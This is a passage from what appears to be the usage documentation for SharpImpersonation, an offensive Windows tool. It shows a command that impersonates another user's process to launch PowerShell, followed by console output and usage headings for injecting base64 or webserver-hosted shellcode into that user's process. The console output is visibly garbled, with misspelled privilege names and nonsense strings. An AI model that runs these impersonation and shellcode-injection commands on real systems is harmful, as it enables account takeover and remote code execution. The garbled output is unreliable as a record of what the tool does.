

Impersonate the first process of the target user to start a new binary

PS C:\temp> SharpImpersonation.exe user:DESKTOP-1HRU06T\ClientAdmin binary:*powershell.exe whoami;pause*

By: S3cur3Th1sShit, @ShitSecure

[*] Username given, checking processes
GetTokenInformation: 5

[*] Found process for user DESKTOP-1HRU06T\ClientAdmin with PID: 744

[*] Adjusting Taken Privilege
Schoolegar Pit/StokenPrivilege
[*] Adjusting Token Privilege
Schoolegar Pit/StokenPrivilege
[*] Adjusting Token from Privilege
[*] Adjusted Privilege State: SE_RRIVILEGE_EMBLED

[*] Changing WINSTA/Desktop permissions for the target user: DESKTOP-1HRU06T\ClientAdmin
[*] Stetling Permission for: DESKTOP-1HRU06T\ClientAdmin
[*] Stetling Token from Privilege
[*] Privilege State: SE_RRIVILEGE (Add to start binary: powershell.exe whoami;pause
[*] Primary Token Handle: 0x63226
[*] Primary Token Handle: 0x63226
[*] Privilege State: SE_RRIVILEGE_EMBLED
[*] AdjustTokenPrivilege
[*] Recieved Inid
[*] AdjustTokenPrivilege
[*] Recieved Inid
[*] AdjustTokenPrivilege
[*] Privilege State: SE_RRIVILEGE_EMBLED
[*] Created Privilege: SeauditPrivilege
[*] Created Sprocess: 43908

20 C\WindowsSystem32\WindowsPowerShell\v1.0\powershell.exe

desktop—Ihru06t\cliclientadmin
Press Enter to continue...:

Inject base64 encoded shellcode into the first process of the target user



Inject shellcode loaded from a webserver into the first process of the target user

PS > PS C:\temp> SharpImpersonation.exe user:<user> shellcode:<URL>



